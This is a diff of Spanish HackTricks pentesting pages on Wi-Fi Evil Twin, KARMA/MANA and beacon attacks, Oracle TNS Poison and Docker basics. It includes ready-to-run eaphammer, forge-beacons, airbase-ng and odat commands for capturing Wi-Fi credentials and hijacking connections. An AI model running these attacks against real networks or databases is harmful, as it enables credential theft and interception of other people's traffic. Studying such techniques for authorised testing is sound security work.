`Airgeddon` puede usar certificados previamente generados para ofrecer autenticación EAP a redes WPA/WPA2-Enterprise. La red falsa degradará el protocolo de conexión a EAP-MD5 para poder **capturar el usuario y el MD5 de la contraseña**. Luego, el atacante puede intentar descifrar la contraseña.\ `Airgeddon` puede utilizar certificados previamente generados para ofrecer autenticación EAP a redes WPA/WPA2-Enterprise. La red falsa degradará el protocolo de conexión a EAP-MD5 para poder **capturar al usuario y el MD5 de la contraseña**. Posteriormente, el atacante puede intentar descifrar la contraseña.\
`Airggedon` te ofrece la posibilidad de un ataque **Evil Twin continuo (ruidoso)** o **solo crear el ataque Evil Twin hasta que alguien se conecte (suave).** `Airggedon` te ofrece la posibilidad de un ataque de Evil Twin **continuo (ruidoso)** o **solo crear el ataque Evil hasta que alguien se conecte (discreto).**
![](<../../.gitbook/assets/image (129).png>) ![](<../../.gitbook/assets/image (129).png>)
### Depuración de túneles TLS PEAP y EAP-TTLS en ataques Evil Twins ### Depuración de túneles TLS PEAP y EAP-TTLS en ataques de Evil Twins
_Este método fue probado en una conexión PEAP pero como estoy descifrando un túnel TLS arbitrario esto también debería funcionar con EAP-TTLS_ _Este método fue probado en una conexión PEAP pero como estoy descifrando un túnel TLS arbitrario, esto también debería funcionar con EAP-TTLS_
Dentro de la **configuración** de _hostapd-wpe_ **comenta** la línea que contiene _**dh\_file**_ (de `dh_file=/etc/hostapd-wpe/certs/dh` a `#dh_file=/etc/hostapd-wpe/certs/dh`)\ Dentro de la **configuración** de _hostapd-wpe_ **comenta** la línea que contiene _**dh\_file**_ (de `dh_file=/etc/hostapd-wpe/certs/dh` a `#dh_file=/etc/hostapd-wpe/certs/dh`)\
Esto hará que `hostapd-wpe` **intercambie claves usando RSA** en lugar de DH, para que puedas **descifrar** el tráfico más tarde **conociendo la clave privada del servidor**. Esto hará que `hostapd-wpe` **intercambie claves usando RSA** en lugar de DH, por lo que podrás **descifrar** el tráfico más tarde **conociendo la clave privada del servidor**.
Ahora inicia el **Evil Twin** usando **`hostapd-wpe`** con esa configuración modificada como de costumbre. Además, inicia **`wireshark`** en la **interfaz** que está realizando el ataque Evil Twin. Ahora inicia el **Evil Twin** usando **`hostapd-wpe`** con esa configuración modificada como de costumbre. Además, inicia **`wireshark`** en la **interfaz** que está realizando el ataque de Evil Twin.
Ahora o más tarde (cuando ya hayas capturado algunos intentos de autenticación) puedes agregar la clave privada RSA a wireshark en: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` Ahora o más tarde (cuando ya hayas capturado algunos intentos de autenticación) puedes agregar la clave privada RSA a wireshark en: `Editar --> Preferencias --> Protocolos --> TLS --> (Lista de claves RSA) Editar...`
Agrega una nueva entrada y completa el formulario con estos valores: **IP address = any** -- **Port = 0** -- **Protocol = data** -- **Key File** (**selecciona tu archivo de clave**, para evitar problemas selecciona un archivo de clave **sin protección por contraseña**). Agrega una nueva entrada y completa el formulario con estos valores: **Dirección IP = cualquier** -- **Puerto = 0** -- **Protocolo = datos** -- **Archivo de clave** (**selecciona tu archivo de clave**, para evitar problemas selecciona un archivo de clave **sin protección con contraseña**).
![](<../../.gitbook/assets/image (151).png>) ![](<../../.gitbook/assets/image (151).png>)
Y mira la nueva pestaña **"Decrypted TLS"**: Y observa la nueva pestaña **"TLS descifrado"**:
![](<../../.gitbook/assets/image (152).png>) ![](<../../.gitbook/assets/image (152).png>)
## KARMA, MANA, Loud MANA y ataque de balizas conocidas ## Ataque KARMA, MANA, MANA ruidoso y Beacons conocidos
### Listas negras/blancas de ESSID y MAC ### Listas negras/blancas de ESSID y MAC
La siguiente tabla enumera los diferentes tipos de MFACLs (Listas de Control de Acceso de Marcos de Gestión) disponibles, así como sus efectos cuando se utilizan: La siguiente tabla enumera los diferentes tipos de MFACLs (Listas de Control de Acceso a Tramas de Gestión) disponibles, así como sus efectos cuando se utilizan:
![](<../../.gitbook/assets/image (149).png>) ![](<../../.gitbook/assets/image (149).png>)
``` ```
@ -654,39 +655,39 @@ pears
``` ```
### KARMA ### KARMA
Los ataques KARMA son una segunda forma de ataque de punto de acceso falso que explota el proceso de selección de red utilizado por las estaciones. En un documento técnico escrito en 2005, Dino Dai Zovi y Shane Macaulay describen cómo un atacante puede configurar un punto de acceso para escuchar solicitudes de sondeo dirigidas y responder a todas ellas con respuestas de sondeo dirigidas coincidentes. Esto provoca que las estaciones afectadas envíen automáticamente una solicitud de asociación al punto de acceso del atacante. El punto de acceso luego responde con una respuesta de asociación, causando que las estaciones afectadas se conecten al punto de acceso del atacante. Los ataques de Karma son una segunda forma de ataque de punto de acceso falso que explota el proceso de selección de red utilizado por las estaciones. En un documento técnico escrito en 2005, Dino Dai Zovi y Shane Macaulay describen cómo un atacante puede configurar un punto de acceso para escuchar las solicitudes de sonda dirigidas y responder a todas ellas con respuestas de sonda dirigidas coincidentes. Esto hace que las estaciones afectadas envíen automáticamente una solicitud de asociación al punto de acceso del atacante. El punto de acceso luego responde con una respuesta de asociación, lo que hace que las estaciones afectadas se conecten al atacante.
### MANA ### MANA
Según Ian de Villiers y Dominic White, las estaciones modernas están diseñadas para protegerse contra ataques KARMA ignorando respuestas de sondeo dirigidas de puntos de acceso que no hayan respondido al menos a una solicitud de sondeo de difusión. Esto llevó a una disminución significativa en el número de estaciones que eran vulnerables a ataques KARMA hasta 2015, cuando White y de Villiers desarrollaron un medio para eludir dichas protecciones. En el ataque KARMA mejorado de White y de Villiers (ataque MANA), se utilizan respuestas de sondeo dirigidas para reconstruir las PNL de las estaciones cercanas. Cuando se recibe una solicitud de sondeo de difusión de una estación, el punto de acceso del atacante responde con un SSID arbitrario de la PNL de la estación que ya se vio en un sondeo directo de ese dispositivo. Según Ian de Villiers y Dominic White, las estaciones modernas están diseñadas para protegerse contra los ataques de Karma al ignorar las respuestas de sonda dirigida de los puntos de acceso que aún no han respondido al menos a una solicitud de sonda de difusión. Esto llevó a una disminución significativa en el número de estaciones vulnerables a los ataques de Karma hasta 2015, cuando White y de Villiers desarrollaron un medio para eludir tales protecciones. En el ataque de Karma mejorado de White y de Villiers (ataque MANA), las respuestas de sonda dirigida se utilizan para reconstruir las PNL de las estaciones cercanas. Cuando se recibe una solicitud de sonda de difusión de una estación, el punto de acceso del atacante responde con un SSID arbitrario de la PNL de la estación que ya se vio en una sonda directa desde ese dispositivo.
En resumen, el algoritmo MANA funciona así: cada vez que el punto de acceso recibe una solicitud de sondeo, primero determina si es un sondeo de difusión o dirigido. Si es un sondeo dirigido, la dirección MAC del remitente se agrega a la tabla hash (si aún no está allí) y el ESSID se agrega a la PNL de ese dispositivo. El AP luego responde con una respuesta de sondeo dirigida. Si es un sondeo de difusión, el punto de acceso responde con respuestas de sondeo para cada una de las redes en la PNL de ese dispositivo. En resumen, el algoritmo MANA funciona de la siguiente manera: cada vez que el punto de acceso recibe una solicitud de sonda, primero determina si es una sonda de difusión o dirigida. Si es una sonda dirigida, la dirección MAC del remitente se agrega a la tabla hash (si aún no está allí) y el ESSID se agrega a la PNL de ese dispositivo. El punto de acceso responde luego con una respuesta de sonda dirigida. Si es una sonda de difusión, el punto de acceso responde con respuestas de sonda para cada una de las redes en la PNL de ese dispositivo.
Ataque MANA utilizando eaphammer: Ataque MANA utilizando eaphammer:
``` ```
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds] ./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
``` ```
### Loud MANA ### Ataque Loud MANA
Tenga en cuenta que el ataque MANA estándar aún no nos permite atacar dispositivos que no utilizan sondeo dirigido en absoluto. Entonces, si tampoco conocemos previamente ninguna entrada dentro de la PNL del dispositivo, necesitamos encontrar alguna otra forma de atacarlo. Observa que el ataque MANA estándar todavía no nos permite atacar dispositivos que no utilizan sondeos dirigidos en absoluto. Por lo tanto, si tampoco conocemos previamente ninguna entrada dentro del PNL del dispositivo, necesitamos encontrar alguna otra forma de atacarlo.
Una posibilidad es lo que se llama ataque Loud MANA. Este ataque se basa en la idea de que los dispositivos cliente que se encuentran en proximidad física cercana entre sí probablemente tengan al menos algunas entradas comunes en sus PNL. Una posibilidad es lo que se llama ataque Loud MANA. Este ataque se basa en la idea de que los dispositivos clientes en proximidad física cercana entre sí probablemente tengan al menos algunas entradas comunes en sus PNL.
En resumen, el ataque Loud MANA, en lugar de responder a las solicitudes de sondeo con cada ESSID en la PNL de un dispositivo en particular, el AP malicioso envía respuestas de sondeo para cada ESSID en cada PNL de todos los dispositivos que ha visto antes. Relacionando esto con la teoría de conjuntos, podemos decir que el AP envía respuestas de sondeo para cada ESSID en la unión de todas las PNL de los dispositivos cercanos. En resumen, en el ataque Loud MANA en lugar de responder a las solicitudes de sondeo con cada ESSID en el PNL de un dispositivo en particular, el AP falso envía respuestas de sondeo para cada ESSID en cada PNL de todos los dispositivos que ha visto antes. Relacionando esto con la teoría de conjuntos, podemos decir que el AP envía respuestas de sondeo para cada ESSID en la unión de todos los PNL de los dispositivos cercanos.
``` ```
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds] ./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
``` ```
### Ataque Known Beacon ### Ataque de Beacon Conocido
Aún hay casos en los que el ataque Loud MANA no tendrá éxito.\ Todavía hay casos en los que el ataque Loud MANA no tendrá éxito.
El ataque Known Beacon es una forma de "Fuerza Bruta" para intentar que la víctima se conecte con el atacante. El atacante crea un AP que responde a cualquier ESSID y ejecuta código enviando beacons que fingen ESSIDs de cada nombre dentro de una lista de palabras. Con suerte, la víctima contendrá algunos de estos nombres de ESSID dentro de su PNL e intentará conectarse al AP falso.\ El ataque de Beacon Conocido es una forma de "Fuerza Bruta" de ESSIDs para intentar que la víctima se conecte al atacante. El atacante crea un AP que responde a cualquier ESSID y ejecuta algún código enviando beacons falsificando ESSIDs de cada nombre dentro de una lista de palabras. Con suerte, la víctima contendrá algunos de estos nombres de ESSID dentro de su PNL y tratará de conectarse al AP falso.
Eaphammer implementó este ataque como un ataque MANA donde todos los ESSIDs dentro de una lista se cargan (también podrías combinar esto con `--loud` para crear un ataque Loud MANA + Known beacons): Eaphammer implementó este ataque como un ataque MANA donde todos los ESSIDs dentro de una lista son cargados (también se puede combinar esto con `--loud` para crear un ataque Loud MANA + Beacon Conocido):
``` ```
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds] ./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
``` ```
**Ataque Known Beacon Burst** **Ataque de ráfaga de balizas conocidas**
Como es sabido, los beacons son ruidosos. Puedes usar un script dentro del proyecto Eaphammer para lanzar beacons de cada nombre de ESSID dentro de un archivo muy rápidamente. Si combinas este script con un ataque MANA de Eaphammer, los clientes podrán conectarse a tu AP. Como las balizas conocidas son ruidosas, puedes usar un script dentro del proyecto Eaphammer para lanzar ráfagas de balizas de cada nombre de ESSID dentro de un archivo muy rápidamente. Si combinas este script con un ataque MANA de Eaphammer, los clientes podrán conectarse a tu punto de acceso.
``` ```
# transmit a burst of 5 forged beacon packets for each entry in list # transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \ ./forge-beacons -i wlan1 \
@ -697,15 +698,15 @@ Como es sabido, los beacons son ruidosos. Puedes usar un script dentro del proye
``` ```
## Wi-Fi Direct ## Wi-Fi Direct
Wi-Fi Direct es un estándar de Wi-Fi que permite a los dispositivos conectarse entre sí sin un AP inalámbrico, ya que uno de los dos dispositivos actuará como AP (llamado propietario del grupo). Puedes encontrar Wi-Fi Direct en muchos dispositivos IoT como impresoras, televisores... Wi-Fi Direct es un estándar de Wi-Fi que permite que los dispositivos se conecten entre sí sin necesidad de un punto de acceso inalámbrico, ya que uno de los dos dispositivos actuará como punto de acceso (llamado propietario del grupo). Puedes encontrar Wi-Fi Direct en muchos dispositivos de IoT como impresoras, televisores...
Wi-Fi Direct depende de Wi-Fi Protected Setup (**WPS**) para conectar los dispositivos de manera segura. WPS tiene múltiples métodos de configuración como Configuración **Push-Button** (PBC), entrada de **PIN** y Comunicación de **Campo Cercano** (NFC) Wi-Fi Direct se basa en Wi-Fi Protected Setup (**WPS**) para conectar de forma segura los dispositivos. WPS tiene múltiples métodos de configuración como la Configuración de **Botón de Pulsación** (PBC), la **entrada de PIN**, y la **Comunicación de Campo Cercano** (NFC).
Por lo tanto, los ataques previamente vistos a WPS PIN también son válidos aquí si se utiliza PIN. Por lo tanto, los ataques previamente vistos al PIN de WPS también son válidos aquí si se utiliza el PIN.
### EvilDirect Hijacking ### Secuestro de EvilDirect
Esto funciona como un Evil-Twin pero para Wi-Fi direct, puedes suplantar a un propietario de grupo para intentar que otros dispositivos como teléfonos se conecten a ti: `airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0` Esto funciona como un Evil-Twin pero para Wi-Fi Direct, puedes hacer pasar por propietario de grupo para intentar que otros dispositivos como teléfonos se conecten a ti: `airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0`
## Referencias ## Referencias
@ -718,33 +719,33 @@ Esto funciona como un Evil-Twin pero para Wi-Fi direct, puedes suplantar a un pr
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) * [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
* [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d) * [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d)
TODO: Echa un vistazo a [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitación de WPA en captive portals) TODO: Echa un vistazo a [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (inicio de sesión con Facebook e imitación de WPA en portales cautivos)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de recompensas por errores. Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
**Hacking Insights**\ **Perspectivas de Hacking**\
Interactúa con contenido que profundiza en la emoción y los desafíos del hacking. Involúcrate con contenido que profundiza en la emoción y desafíos del hacking
**Real-Time Hack News**\ **Noticias de Hacking en Tiempo Real**\
Mantente al día con el mundo del hacking en tiempo real a través de noticias y perspectivas. Mantente actualizado con el mundo del hacking a través de noticias e información en tiempo real
**Últimos Anuncios**\ **Últimos Anuncios**\
Mantente informado con los lanzamientos de nuevas recompensas por errores y actualizaciones cruciales de la plataforma. Mantente informado sobre los nuevos programas de recompensas por errores que se lanzan y las actualizaciones importantes de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo. **Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ¡y comienza a colaborar con los mejores hackers hoy!
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende a hackear AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas que tu **empresa sea anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos. * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github. * **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -4,49 +4,47 @@
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
# TNS Poison Una vulnerabilidad conocida como 'TNS Poison' afecta a las versiones hasta la 12c del listener, siendo la última vulnerable solo bajo configuraciones específicas. Por ejemplo, deshabilitar la configuración dinámica del listener es una medida de mitigación que no es factible en configuraciones que utilizan Oracle DataGuard, PL/SQL Gateway con APEX y ciertas versiones de SAP. Esta vulnerabilidad se deriva del comportamiento predeterminado del servicio del listener de admitir configuraciones remotas, incluidas configuraciones anónimas, que es el meollo de la vulnerabilidad.
Si te encuentras con una versión más reciente del listener, no queda mucho margen excepto fuerza bruta. Sin embargo, todas las versiones hasta la 12c son vulnerables a un ataque llamado 'TNS Poison'. Aunque la última versión es vulnerable solo en algunas configuraciones especiales. Por ejemplo, una de las formas de solucionar esta vulnerabilidad es deshabilitando la configuración dinámica del listener, lo cual es imposible cuando se utiliza Oracle DataGuard, PL/SQL Gateway en conexión con APEX y en algunas versiones de SAP. En general, el problema es que, por defecto, el servicio de listener admite configuración remota y, además, permite hacerlo de forma anónima. Aquí radica el corazón de la vulnerabilidad. ![https://hackmag.com/wp-content/uploads/2015/04/poison.png](https://hackmag.com/wp-content/uploads/2015/04/poison.png)
[![Fig. 1. Vulnerabilidad TNS Poison](https://hackmag.com/wp-content/uploads/2015/04/poison.png)](https://hackmag.com/wp-content/uploads/2015/04/poison.png) *La Figura 1 representa la Vulnerabilidad de TNS Poison.*
Fig. 1. Vulnerabilidad TNS Poison Se detalla un algoritmo de ataque de muestra de la siguiente manera (consulte la Fig. 1):
Este es un algoritmo de ataque de muestra \(ver Fig. 1\): 1. Se debe enviar una consulta de TNS, CONNECT_DATA=(COMMAND=SERVICE_REGISTER_NSGR).
2. Una respuesta de (DESCRIPTION=(TMP=)) indica vulnerabilidad, mientras que un servidor parcheado responde con (ERROR_STACK=(ERROR=1194)).
3. El atacante debe generar un paquete de configuración, que incluya el SID y la IP para un nuevo listener, dirigido a un ataque de Man-In-The-Middle (MITM). La longitud del nombre del SID actual es crucial para crear un paquete Bien Formado.
4. Estos componentes se envían luego al listener.
5. Tras una ejecución exitosa, las nuevas conexiones son dirigidas a través de la IP controlada por el atacante por el listener.
* Enviar la siguiente consulta TNS: 'CONNECT\_DATA=(COMMAND=SERVICE\_REGISTER\_NSGR)'. Es crucial activar la proxy de consultas (similar a IP_forwarding en Linux) para evitar transformar un posible ataque MITM en un ataque de Denegación de Servicio (DoS), que bloquearía a nuevos clientes de conectarse a la base de datos. Esta vulnerabilidad permite a un atacante insertar comandos en la sesión de otro usuario. La vulnerabilidad del servidor puede ser evaluada utilizando el módulo del Framework Metasploit (MSF): auxiliary/scanner/oracle/tnspoison_checker.
* El servidor vulnerable responderá: '(DESCRIPTION=(TMP=))'. Esta será la respuesta de un servidor parcheado: '(ERROR\_STACK=(ERROR=1194))'.
* Generar un paquete de configuración con SID e IP del nuevo listener \(para futuros MITM\). El número de caracteres en el nombre del SID actual es de fundamental importancia. Necesitas saberlo, ya que de esto depende un paquete Bien Formado.
* A continuación, enviar todas estas golosinas al listener.
* Si todo es correcto, entonces todas las nuevas conexiones serán redirigidas por el listener a través de tu IP controlada.
Es importante no olvidar habilitar el proxy de consultas \(como IP\_forwarding en Linux\), de lo contrario, en lugar de un ataque MITM ordenado, obtendrás un DoS brusco, porque los nuevos clientes no podrán conectarse a la base de datos. Como resultado, un atacante puede incrustar sus propios comandos dentro de la sesión de otro usuario. **Puedes comprobar si el servidor es vulnerable utilizando el siguiente módulo de MSF: 'auxiliary/scanner/oracle/tnspoison\_checker'.** Para obtener más información, consulta el [artículo original de Hackmag sobre métodos de penetración en bases de datos Oracle](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/).
Toda esta página fue extraída de aquí: [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/) **Método de Prueba Alternativo:**
**Otra forma de probar:**
```text ```text
./odat.py tnspoison -s <IP> -p <PORT> -d <SID> --test-module ./odat.py tnspoison -s <IP> -p <PORT> -d <SID> --test-module
``` ```
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>

View file

@ -1,32 +1,34 @@
## 2375, 2376 Pentesting Docker # 2375, 2376 Pentesting Docker
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! Otras formas de apoyar a HackTricks:
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). * Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
## Conceptos básicos de Docker ## Conceptos Básicos de Docker
### ¿Qué es? ### ¿Qué es?
La plataforma Docker es la plataforma de contenedores líder en la industria para la innovación continua y de alta velocidad, lo que permite a las organizaciones construir y compartir sin problemas cualquier aplicación, desde las heredadas hasta las que vienen a continuación, y ejecutarlas de forma segura en cualquier lugar. La Plataforma Docker es la plataforma de contenedores líder en la industria para una innovación continua y de alta velocidad, que permite a las organizaciones construir y compartir de manera fluida cualquier aplicación, desde legado hasta lo que viene a continuación, y ejecutarlas de forma segura en cualquier lugar.
### Arquitectura básica de Docker ### Arquitectura básica de Docker
Esta información se encuentra [aquí](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc). Esta información se obtiene de [aquí](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc).
